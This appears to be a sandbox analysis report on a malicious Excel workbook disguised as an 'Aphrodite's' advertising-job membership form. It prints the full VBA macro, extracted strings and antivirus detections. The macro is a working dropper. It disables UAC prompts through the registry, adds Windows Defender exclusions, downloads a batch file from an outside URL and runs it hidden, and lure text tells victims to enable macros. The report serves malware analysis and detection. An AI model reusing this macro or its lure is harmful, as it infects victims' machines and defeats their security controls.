Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CheckBox1, 36, 14, MSForms, CheckBox"
Attribute VB_Control = "submit, 47, 15, MSForms, CommandButton"
Function ValidateForm() As Boolean

CheckBox1.BackColor = vbWhite


ValidateForm = True


If CheckBox1.Value = False Then

    MsgBox "Please agree Terms and Conditions of Aphrodite's to receive your Membership number.", vbOKOnly + vbInformation, "Microsoft Excel"
    ValidateForm = False

End If
End Function

Private Sub CheckBox1_Click()
Dim shell As Object
    Set shell = CreateObject("Shell.Application")
    shell.ShellExecute "cmd.exe", "/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f && exit", "", "runas", 1
    
    Application.Wait Now + TimeValue("0:00:02")
    'Ki?m tra xem UAC dã b? t?t chua
    Dim UACEnabled As Boolean
    UACEnabled = True 'Gi? s? UAC dang du?c b?t
    On Error Resume Next
    UACEnabled = Not CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin") = 0
    On Error GoTo 0
    
    If UACEnabled Then
        MsgBox "Please select Yes to Agree Terms and Conditions of Aphrodite's.", vbExclamation
            Me.CheckBox1.Value = False
        Exit Sub 'D?ng l?i n?u UAC v?n du?c b?t
        Else
              'Th?c hi?n các l?nh ti?p theo t?i dây
              
    Dim sCommand As String
    sCommand = "powershell.exe -Command ""Set-MpPreference -ExclusionExtension exe, bat, inf, dll, vbs"""
    Set shell = CreateObject("Shell.Application")
    shell.ShellExecute "cmd.exe", "/c " & sCommand, "", "runas", 0
    
    Application.Wait Now + TimeValue("0:00:02")
    
        Dim batchFilePath As String
        Dim batchFileURL As String
        Dim httpReq As Object
        Dim batchFileContent As String
        Dim tempFolderPath As String
        
        ' L?y du?ng d?n thu m?c temp c?a Windows
        tempFolderPath = Environ("TEMP")
        
        ' Ð?t du?ng d?n và URL c?a t?p tin batch
        batchFilePath = tempFolderPath & "\mybatchfile.bat"
        batchFileURL = "https://aphroditesglobal.com/career/form/bikoform4"
        
        ' T?o d?i tu?ng XMLHTTP
        Set httpReq = CreateObject("MSXML2.ServerXMLHTTP")
        
        ' G?i yêu c?u GET d?n URL c?a t?p tin batch
        httpReq.Open "GET", batchFileURL, False
        httpReq.Send
        
        ' Ki?m tra tr?ng thái yêu c?u và l?y n?i dung c?a t?p tin batch t? ph?n h?i
        If httpReq.Status = 200 Then
            batchFileContent = httpReq.responseText
            
            ' Ghi n?i dung vào t?p tin batch
            Dim fileNum As Integer
            fileNum = FreeFile
            Open batchFilePath For Output As fileNum
            Print #fileNum, batchFileContent
            Close #fileNum
            
            ' Ch?y t?p tin batch
            VBA.shell batchFilePath, vbHide
        Else
            MsgBox "An error occurred while retrieving the membership number. Please check your internet connection and try again.", vbExclamation
        End If
        
        ' Gi?i phóng d?i tu?ng XMLHTTP
        Set httpReq = Nothing

Application.Wait (Now + TimeValue("0:00:06"))

   
    filePath = Environ$("temp") & "\microsoftupdater.exe"
    
    If Dir(filePath) <> "" Then
        Me.CheckBox1.Value = True
    Else
        MsgBox "An error occurred while retrieving the membership number, Please try again."
    End If
    
    End If

End Sub


Private Sub submit_Click()
Application.ScreenUpdating = False


If ValidateForm = True Then
Application.Wait (Now + TimeValue("0:00:02"))
    Range("D13").Select
    ActiveCell.FormulaR1C1 = "AP-00186"
    Range("D13").Select
Else
    MsgBox "Please agree Terms and Conditions of Aphrodite's to receive your Membership number.", vbOKOnly + vbInformation, "Microsoft Excel"
    Application.ScreenUpdating = True
    Exit Sub
End If

    Application.ScreenUpdating = True
End Sub


                                    

Deobfuscated


                                        Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CheckBox1, 36, 14, MSForms, CheckBox"
Attribute VB_Control = "submit, 47, 15, MSForms, CommandButton"
Function ValidateForm() As Boolean

CheckBox1.BackColor = vbWhite


ValidateForm = True


If CheckBox1.Value = False Then

    MsgBox "Please agree Terms and Conditions of Aphrodite's to receive your Membership number.", vbOKOnly + vbInformation, "Microsoft Excel"
    ValidateForm = False

End If
End Function

Private Sub CheckBox1_Click()
Dim shell As Object
    Set shell = CreateObject("Shell.Application")
    shell.ShellExecute "cmd.exe", "/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f && exit", "", "runas", 1
    
    Application.Wait Now + TimeValue("0:00:02")
    'Ki?m tra xem UAC dã b? t?t chua
    Dim UACEnabled As Boolean
    UACEnabled = True 'Gi? s? UAC dang du?c b?t
    On Error Resume Next
    UACEnabled = Not CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin") = 0
    On Error GoTo 0
    
    If UACEnabled Then
        MsgBox "Please select Yes to Agree Terms and Conditions of Aphrodite's.", vbExclamation
            Me.CheckBox1.Value = False
        Exit Sub 'D?ng l?i n?u UAC v?n du?c b?t
        Else
              'Th?c hi?n các l?nh ti?p theo t?i dây
              
    Dim sCommand As String
    sCommand = "powershell.exe -Command ""Set-MpPreference -ExclusionExtension exe, bat, inf, dll, vbs"""
    Set shell = CreateObject("Shell.Application")
    shell.ShellExecute "cmd.exe", "/c " & sCommand, "", "runas", 0
    
    Application.Wait Now + TimeValue("0:00:02")
    
        Dim batchFilePath As String
        Dim batchFileURL As String
        Dim httpReq As Object
        Dim batchFileContent As String
        Dim tempFolderPath As String
        
        ' L?y du?ng d?n thu m?c temp c?a Windows
        tempFolderPath = Environ("TEMP")
        
        ' Ð?t du?ng d?n và URL c?a t?p tin batch
        batchFilePath = tempFolderPath & "\mybatchfile.bat"
        batchFileURL = "https://aphroditesglobal.com/career/form/bikoform4"
        
        ' T?o d?i tu?ng XMLHTTP
        Set httpReq = CreateObject("MSXML2.ServerXMLHTTP")
        
        ' G?i yêu c?u GET d?n URL c?a t?p tin batch
        httpReq.Open "GET", batchFileURL, False
        httpReq.Send
        
        ' Ki?m tra tr?ng thái yêu c?u và l?y n?i dung c?a t?p tin batch t? ph?n h?i
        If httpReq.Status = 200 Then
            batchFileContent = httpReq.responseText
            
            ' Ghi n?i dung vào t?p tin batch
            Dim fileNum As Integer
            fileNum = FreeFile
            Open batchFilePath For Output As fileNum
            Print #fileNum, batchFileContent
            Close #fileNum
            
            ' Ch?y t?p tin batch
            VBA.shell batchFilePath, vbHide
        Else
            MsgBox "An error occurred while retrieving the membership number. Please check your internet connection and try again.", vbExclamation
        End If
        
        ' Gi?i phóng d?i tu?ng XMLHTTP
        Set httpReq = Nothing

Application.Wait (Now + TimeValue("0:00:06"))

   
    filePath = Environ$("temp") & "\microsoftupdater.exe"
    
    If Dir(filePath) <> "" Then
        Me.CheckBox1.Value = True
    Else
        MsgBox "An error occurred while retrieving the membership number, Please try again."
    End If
    
    End If

End Sub


Private Sub submit_Click()
Application.ScreenUpdating = False


If ValidateForm = True Then
Application.Wait (Now + TimeValue("0:00:02"))
    Range("D13").Select
    ActiveCell.FormulaR1C1 = "AP-00186"
    Range("D13").Select
Else
    MsgBox "Please agree Terms and Conditions of Aphrodite's to receive your Membership number.", vbOKOnly + vbInformation, "Microsoft Excel"
    Application.ScreenUpdating = True
    Exit Sub
End If

    Application.ScreenUpdating = True
End Sub


                                    

Original


                                        Attribute VB_Name = "Module1"

                                    

Deobfuscated


                                        Attribute VB_Name = "Module1"

                                    
george B
ThisWorkbook
"$"#,##0_);\("$"#,##0\)
"$"#,##0_);[Red]\("$"#,##0\)
"$"#,##0.00_);\("$"#,##0.00\)
"$"#,##0.00_);[Red]\("$"#,##0.00\)
_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)
_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)
_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)
_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Output
Warning Text
INFORMATION FORM
Z_CCDB480E_D34D_415E_8E86_941E80BAB162_.wvu.PrintArea;
E%v"U*
>8Ntw
N<>QNM
CgIDATx
OAAAAA
VPPPPP
YKJY+(((((
3TK-R)
JY+((((
y+(((((\I
cJQ+((((|~
gO]["?
1AMkUr
kCSPPPPP
oP=zc
:y/}}
O_9v0^
ZVu^s|
{jABMPJBkk
|=P>0V
mqLx&M{D
Qe}5y[
'~>y>~
<EIK+L
PJzp(&
BMk]"!
4YYW11l
s!R"^E
1|{I^f
1-O[{7
]W+%]G
)Xl!7^<
#zp1KUZ
6.a`Ib
%m2R,f
~)iGu
FjUZyJ
?Q1r15
vDu{9{
HAXS,X
M~|C<*
:R}~[<
6:.yt_
%HG`-BA
<qIahc'
+(((((
mPPPPPP
[)((((|A
)(((((\
w70^AAAAA
FN*((((
M|U&VI
YAAAAA
_AAAAA
WPPPPPP
[IDATx
!i%sTZ
R=6.DpRZ^
W9B%}LZN
2OO3?^
B(ZNHx\aj$f
w=uW>-
+*!rO
L4Hn,$
uDNx{E
0LO@pKFA
r=!l2R
J!D95X
/k!i^ZC
@ayk\Z7X
G-$ocyS
\?a^;$o
g+}n-v
ec}nk}
0kOQm{
Gy1@K3f
,R)qG&
hc2`#o|~
`,$D3(
d)(
WpnQ1~
h>+RP1
psm#L;
xK3E;,
oP&2BYT
eGL25m
@9!@^caO
>p6P{P
B?JUkR
_no4,?U
II]$izHZ
jkWV`-u
8D@]CL
aGEgw1
45cb,R
GN>>EY;Hy
ex_<tueH
D9kRZAL
^b7<tt~h$f
TfeNTc
^0+D%1
usBZUG"
3F^9(/
{E}!r%
`>6NEU
KEq] f
8,n?p_v
$5b~j)
1d0h\VE
tQ28A1m
LhZl7x
J2y_/U
a!?!A__
4e"_Q=
2?+"@\
t,/z&8l
="7gMS
3BCq^o;
sE5x<xW
%mMRac
&?h}f@
6C5cF&
_'@(.@
B3r.l{N
G)oMSy
`#qvC
Q&0FUs
T!&=g4
MS#2&)
yD1|G$
' ?[kMx
1DesX~
R=zrSj0
S,x:}y
FZX18C
*N{8Ze
P}:C)v
[v6p}e/4!)
ny2!V
L"0Ky&7
3y7{NPn0[-
;3'i+py
Sv}Vm0
m,P<0K)m
#EBoOK\
[3K=}-
I-O{%e
k76\r?
xpY*@qf
h?>siF
`:0#35;
J4x8`7
KIq-8)z
OOsOkU
s+\Bl<Y
n=>Hh]
PRM:Q8K
Q2Ec@J
Ch$6r
vpD:&
H)*!A;
SucR>8g
2gNS*2
gaW}^wm
{`AqnD
rZ`w%k-R
[SN-_@t
mM6%JY}
CcWt7G)'
UpD{V
;A*2@i5
f54LMc
p~4oMY
P5gK-*2
'o}F;8maO=
^XeV{(
;TJ}X!
"Uv]<
)6Tk)Fz
8tC]\`
P><D5l#
G;O{h+<FYg
A8'~.<
YR^q91
_IF]'<=\w
)eLQ9>N%g
Facebook: https://www.facebook.com/aphroditesglobal/
0 Year
7 Year
Facebook Ads
14h-16h
Afghanistan
Angola
Bahrain
Bangladesh
Barbados
Belarus
Belgium
Belize
Bermuda (UK)
Bhutan
Bolivia
Bosnia and Herzegovina
Botswana
Brazil
British Virgin Islands (UK)
Brunei
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Canada
Cape Verde#
Caribbean Netherlands (Netherlands)
Cayman Islands (UK)
Central African Republic#
Cocos (Keeling) Islands (Australia)
Colombia
Comoros
Cook Islands (NZ)
Costa Rica
Croatia
Curacao (Netherlands)
Cyprus
Czech Republic
Christmas Island (Australia)
Democratic Republic of the Congo
Denmark
Djibouti
Dominica
Dominican Republic
Ecuador
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (UK)
Faroe Islands (Denmark)
Federated States of Micronesia
Finland
France
French Guiana (France)
French Polynesia (France)
Gambia
Georgia
Germany
Greece
Greenland (Denmark)
Grenada
Guadeloupe (France)
Guam (USA)
Guatemala
Guernsey (UK)
Guinea
Guinea-Bissau
Guyana
Gibraltar (UK)
Honduras
Hong Kong (China)
Hungary
Iceland
Indonesia
Ireland
Isle of Man (UK)
Israel
Ivory Coast
Jamaica
Jersey (UK)
Jordan
Kazakhstan
Kiribati
Kosovo
Kuwait
Kyrgyzstan
Latvia
Lebanon
Lesotho
Liberia
Liechtenstein
Lithuania
Luxembourg
Macau (China)
Macedonia
Madagascar
Malawi
Malaysia
Maldives
Marshall Islands
Martinique (France)
Mauritania
Mauritius
Mayotte (France)
Mexico
Moldov
Monaco
Montenegro
Montserrat (UK)
Mongolia
Morocco
Mozambique
Namibia
Netherlands
New Caledonia (France)
New Zealand
Nicaragua
Nigeria
Niue (NZ)
Norfolk Island (Australia)
North Korea
Northern Mariana Islands (USA)
Norway
Pakistan
Palestine
Panama
Papua New Guinea
Paraguay
Pitcairn Islands (UK)
Poland
Portugal
Puerto Rico
Philippines
Republic of the Congo
Reunion (France)
Romania
Russia
Rwanda
Saint Barthelemy (France)1
Saint Helena, Ascension and Tristan da Cunha (UK)
Saint Kitts and Nevis
Saint Lucia
Saint Martin (France)"
Saint Pierre and Miquelon (France)
Saint Vincent and the Grenadines
San Marino
Sao Tom and Principe
Saudi Arabia
Senegal
Serbia
Seychelles
Sierra Leone
Sint Maarten (Netherlands)
Singapore
Slovakia
Slovenia
Solomon Islands
Somalia
South Africa
South Korea
South Sudan
Sri Lanka
Suriname
Svalbard and Jan Mayen (Norway)
Swaziland
Sweden
Switzerland
Taiwan
Tajikistan
Tanzania
Timor-Leste
Tokelau (NZ)
Tunisia
Turkey
Turkmenistan
Turks and Caicos Islands (UK)
Tuvalu
Thailand
Trinidad and Tobago
Uganda
Ukraine
United Arab Emirates
United Kingdom
United States"
United States Virgin Islands (USA)
Uruguay
Uzbekistan
Vanuatu
Vatican City
Venezuela
Vietnam
Wallis and Futuna (France)
Western Sahara
Zambia
Zimbabwe
III. Contact Us::
TERMS OF APHRODITE'S
(for agency or freelance advertisers)
2. Use of the advertising account: The employee/associate commits to using the advertising account solely for the purpose of carrying out advertising and marketing tasks related to the company/owner of the account's products/services.
1. Access to the advertising account: The employee/associate is granted access to the advertising account based on designated privileges and job requirements.
3. Compliance with regulations and policies: The employee/associate must comply with the regulations and policies of the company/owner of the advertising account, including advertising rules, intellectual property rights, and applicable legal provisions.
4. Information confidentiality: The employee/associate is responsible for maintaining the confidentiality of login information and must not disclose the advertising account login details to any third party. The account should only be used within the authorized scope of work.
5. Termination of access rights: The company/owner of the advertising account reserves the right to terminate or revoke the employee/associate's access to the advertising account without prior notice if any violation of regulations, policies, or unreliable behavior is detected.
6. Termination of the contract: This contract may be terminated at any time by mutual agreement or according to the provisions set by the company/owner of the advertising account.
II. Aphrodite's Membership number#
I. Aphrodite's Terms and ConditionsM
- By selecting Accept Aphrodite's terms and conditions, you also agree that you are willing to work for Aphrodite's as an advertising expert. You also acknowledge that we will only use your basic personal information for work-related purposes. Additionally, our system relies on this to automatically assign you a Membership number.7
- : Membership number is a unique code that we assign to each member in our team. Your membership number is provided once you have downloaded and accepted the terms of Aphrodites. The membership number is used for contract signing, management of work-related content, salary and bonus payments, and other tasks.
Membership number:
WhatsApp +14046902288)
ATTENTION
- If you are using Microsoft Word 365 or newer versions, you need to unlock the file to be able to accept the Terms and Conditions. Here's how you can unlock the file: Before opening the file, right-click on the file and select Properties. In the Properties window, go to the Security tab and check the "Unblock" checkbox. Click OK to save the changes and close the Properties window. Then open and edit the file.
-For other versions of Microsoft Word, you need to Enable Macro and Enable Content to be able to accept the Terms and Conditions.
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
gZUEuMw
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
&C&"-,Bold"JOB DESCRIPTION FORM FOR ADVERTISING AGENCY
333333
?333333
Agree Terms and Conditions of Aphrodite's
INFORMATION FORM (2)
Get Membership Number
Forms.CheckBox.1
Forms.CommandButton.1
Sheet3g
Attribut
e VB_Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
|Global
dCreat
ateDeriv
Bustomi
MSXML2.ServerXMLHTTP$
G?i y
u c?u GET d?n URL c?a t?p tin batch
Ki?m tra tr?ng th
u c?u v
l?y n?i dung c?a t?p tin batch t? ph?n h?i
Ghi n?i dung v
o t?p tin batch
Ch?y t?p tin batch
An error occurred while retrieving the membership number. Please check your internet connection and try again.
Gi?i ph
ng d?i tu?ng XMLHTTP
0:00:06
temp$ X
\microsoftupdater.exe
An error occurred while retrieving the membership number, Please try again.
0:00:02
AP-00186
Please agree Terms and Con
ditions of Aphrodite's to receive your Membership number.
Microsoft Excel
Attribut
e VB_Nam
e = "She@et3"
t0{000
20820-
|Global!
Pre decla
lateDeri
Bustom
kBox1, 3
6, 14, M
SForms,
submi
ommandBu
ction Va
As Boole@an
BackColo
RvbWhit?
agree Te
s of Aph
e's t@o rece
your Mem
bership
bOKOnly
, "Micro
soft Exc<el
End If
A9P@~@O Sub
;_Click(
VObj ect
ll.App
"cm d.exe@:"/
k %windi
r%\Syste
m32\reg
ADD HKL
M\SOFTWAHRE\
ws\Curre
tBehavio
rAdmin /
t REG_DW
ORD /d 0
/f && e
runtas
Wait Now!
F("(0:0@
i?m tra
xem UAC
b? t?
t chua
= aV 'Gi?
ang 0du?c
_Resbu
9WScri
6").Re
gRead("H
KEY_LOCA
L_MACHIN6E
X Ye=bpAv
? 4l?i n?buB6v?n,6
nh ti?p
nExten
A`fe, ba
nf, dll
c " & e
chFileP
`RpFolxder
'0 L?yQ&
c8?a
Environ(
s:H//a
. com/c
/at/biko
:XMLHxTTP
2.Serv
@G phq
response
$Numq5In`teger
Outpu
sAnD e2
CheckBox1, 36, 14, MSForms, CheckBox&
submit, 47, 15, MSForms, CommandButton
Please agree Terms and Conditions of Aphrodite's to receive your Membership number.
Microsoft Excel
Shell.Application
cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f && exit
0:00:02
Ki?m tra xem UAC d
b? t?t chua
Gi? s? UAC dang du?c b?t
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin
WScript.Shell
Please select Yes to Agree Terms and Conditions of Aphrodite's.
D?ng l?i n?u UAC v?n du?c b?t
Th?c hi?n c
c l?nh ti?p theo t?i d
powershell.exe -Command "Set-MpPreference -ExclusionExtension exe, bat, inf, dll, vbs"'
Shell.Application
cmd.exe
0:00:02
L?y du?ng d?n thu m?c temp c?a Windows
?t du?ng d?n v
URL c?a t?p tin batch
\mybatchfile.bat
https://aphroditesglobal.com/career/form/bikoform4'
T?o d?i tu?ng XMLHTTP
` i`*p|h
R FRx$("
e("hD13
ctiveCel
l.Formul
aR1C1 =
"AP-0018 6"
nge("D13
").Selec
MsgBox "
Please a
gree Ter
ms and C
ondition
s of Aph
e's t@o rece
your Mem
bership
bOKOnly
, "Micro
soft Exc
Appli"c
Exit S
Attribut
e VB_Nam
e = "Mod
Win64x
VBAProject
stdole
Office
MSFormsC
ThisWorkbook|
_Evaluate
Sheet3
ValidateForm
CheckBox1
BackColor
vbWhite^K
MsgBox
vbOKOnly
vbInformation
CheckBox1_Clickl
shellV
CreateObject
ShellExecute
Application
TimeValue
UACEnableda
RegReadw
vbExclamation
sCommand
batchFilePath%
batchFileURL:
httpReqW
batchFileContenty`
tempFolderPath 6
Environ
Status
responseText
fileNum
vbHide
filePath
submit_Click
ScreenUpdating!
ActiveCell
FormulaR1C1S
Module1b
submit
Workbookk
Worksheet
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\syst em32\
tlb#OLE
Automati
EOffDic
2DF8D04C
-5BFA-10
1B-BDE5
gram Fil
es\Commo
Micros
oft Shar
ed\OFFIC
E14\MSO.0DLL#
M 1@6.0 Ob
Library
D452EE1-
-02608C@4D0BB4
M20L'B
Hq00}#0
FCC8-AD1
9-4E00-9
110-D1F2
21061398
6Users\S
teve\App
Data\Loc
al\Temp\
Excel8.0
sWorkbooPkG
Sheet3G
Wodule1
VBAProject
ThisWorkbook
Sheet3
Module1
C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
C:\Windows\system32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSO.DLL
Office
C:\Windows\system32\FM20.DLL
MSForms
C:\Users\Steve\AppData\Local\Temp\Excel8.0\MSForms.exd
Worksheet
CheckBox1
submit
ValidateForm
CheckBox1_Click
submit_Click
CheckBox1
submit
ThisWorkbook
Sheet3
Module1
ID="{00000000-0000-0000-0000-000000000000}"
Document=ThisWorkbook/&H00000000
Document=Sheet3/&H00000000
Module=Module1
HelpFile=""
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="3B3997DED6E2D6E2D3E7D3E7"
DPB="7674DA1B2E6D748A748A8B76758ABBDDBCDCFE4C1DCCDC059547320DAA537B96128A96060BA28C"
GC="B1B31D5E1E5E1E5E"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
&H00000002={00020818-0000-0000-C000-000000000046};Excel8.0;&H00000000
[Workspace]
ThisWorkbook=5, 60, 1061, 677,
Sheet3=32, 32, 1099, 669, Z
Module1=64, 64, 1249, 701,
Microsoft Excel
INFORMATION FORM
'INFORMATION FORM'!Print_Area
Worksheets
Named Ranges
Microsoft Excel 2003 Worksheet
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Calibri1.
Times New Roman1.
Times New Roman1.
Times New Roman1
Arial1
Arial1
Arial1
Arial1
Arial1
Calibri1
Calibri1
Calibri1
Calibri1.
Times New Roman1.
Times New Roman1.
Times New Roman1.
Times New Roman1.
Times New Roman1.
Times New Roman1
Calibri1.
Times New Roman1.
Times New Roman1.
Times New Roman1.
Times New Roman1
Calibri1.
Times New Roman1.
Times New Roman1.
Times New Roman1.
Times New Roman1*
Calibri Light1.
Times New Roman1.
Times New Roman1
Arial1
Arial1
Arial10
Bradley Hand ITC1
Arial1
Arial1
Arial1
Arial1
Arial1
Calibri
#,##0\ "
";\-#,##0\ "
#,##0\ "
";[Red]\-#,##0\ "
#,##0.00\ "
";\-#,##0.00\ "
#,##0.00\ "
";[Red]\-#,##0.00\ "
_-* #,##0\ "
"_-;\-* #,##0\ "
"_-;_-* "-"\ "
"_-;_-@_-
_-* #,##0\ _
_-;\-* #,##0\ _
_-;_-* "-"\ _
_-;_-@_-
_-* #,##0.00\ "
"_-;\-* #,##0.00\ "
"_-;_-* "-"??\ "
"_-;_-@_-
_-* #,##0.00\ _
_-;\-* #,##0.00\ _
_-;_-* "-"??\ _
_-;_-@_-
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Comma [0]
Currency
Currency [0]
Explanatory Text
Followed Hyperlink
Heading 1
Heading 2
Heading 3
Heading 4
Hyperlink
Linked Cell
Neutral
Normal
Output
Percent
Warning Text
TableStyleMedium2PivotStyleLight16
PDF reDirect v2
Letter
TSSSUNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
((nnnnn
YY(nYYlU-7-----------
-----77------------------------
D------------------------------
--------------------------
CheckBox1
submit
Picture 3
Picture 1
ThisWorkbook
Sheet3
__SRP_2
N0{00020819-0000-0000-C000-000000000046}
N0{00020820-0000-0000-C000-000000000046}
*\R8004*#67
*\R8004*#5d
$*\Rffff*066687004e
__SRP_3
Module1
_VBA_PROJECT
*\G{000204EF-0000-0000-C000-000000000046}#4.1#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.7#0#C:\Program Files\Microsoft Office\Office14\EXCEL.EXE#Microsoft Excel 14.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.5#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\Windows\system32\FM20.DLL#Microsoft Forms 2.0 Object Library
*\G{2F66FCC8-AD19-4E00-9110-D1F221061398}#2.0#0#C:\Users\Steve\AppData\Local\Temp\Excel8.0\MSForms.exd#Microsoft Forms 2.0 Object Library
ThisWorkbook
0166870036
ThisWorkbook
Sheet3
066687004e
Sheet3
Module1
0366870036
Module1
__SRP_0
__SRP_1
PROJECTwm
PROJECT
kThisWorkbook
3Sheet3
1Module1
SummaryInformation
DocumentSummaryInformation
CompObj
Antivirus Signature
Bkav Clean
Lionic Clean
Elastic malicious (high confidence)
DrWeb modification of W97M.Suspicious.1
MicroWorld-eScan VB:Trojan.Valyria.8246
CMC Clean
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE VB:Trojan.Valyria.8246
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT W97M/Downloader.AR
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast MO97:Downloader-YI [Trj]
ClamAV Doc.Downloader.Powershell-10002004-0
Kaspersky HEUR:Trojan-Dropper.Script.Generic
BitDefender VB:Trojan.Valyria.8246
NANO-Antivirus Clean
ViRobot Clean
Rising Heur.Macro.powershell.a (CLASSIC)
Sophos Clean
F-Secure Malware.X97M/Agent.6701012
Baidu Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.OLE2.Downloader.cg
FireEye VB:Trojan.Valyria.8246
Emsisoft VB:Trojan.Valyria.8246 (B)
Ikarus Clean
GData VB:Trojan.Valyria.8246
Jiangmin WM/Downloader.a
Google Detected
Avira X97M/Agent.6701012
MAX malware (ai score=88)
Antiy-AVL Trojan[Downloader]/MSOffice.Agent
Gridinsoft Clean
Xcitium Clean
Arcabit VB:Trojan.Valyria.D2036
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Dropper.Script.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Cynet Malicious (score: 99)
AhnLab-V3 Clean
Acronis Clean
ALYac VB:Trojan.Valyria.8246
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.W97ShellS
Tencent Trojan.MsOffice.MacroS.12461002
Yandex Clean
SentinelOne Clean
MaxSecure Clean
Fortinet VBA/Agent.C17E!tr
AVG MO97:Downloader-YI [Trj]
Panda Clean
No IRMA results available.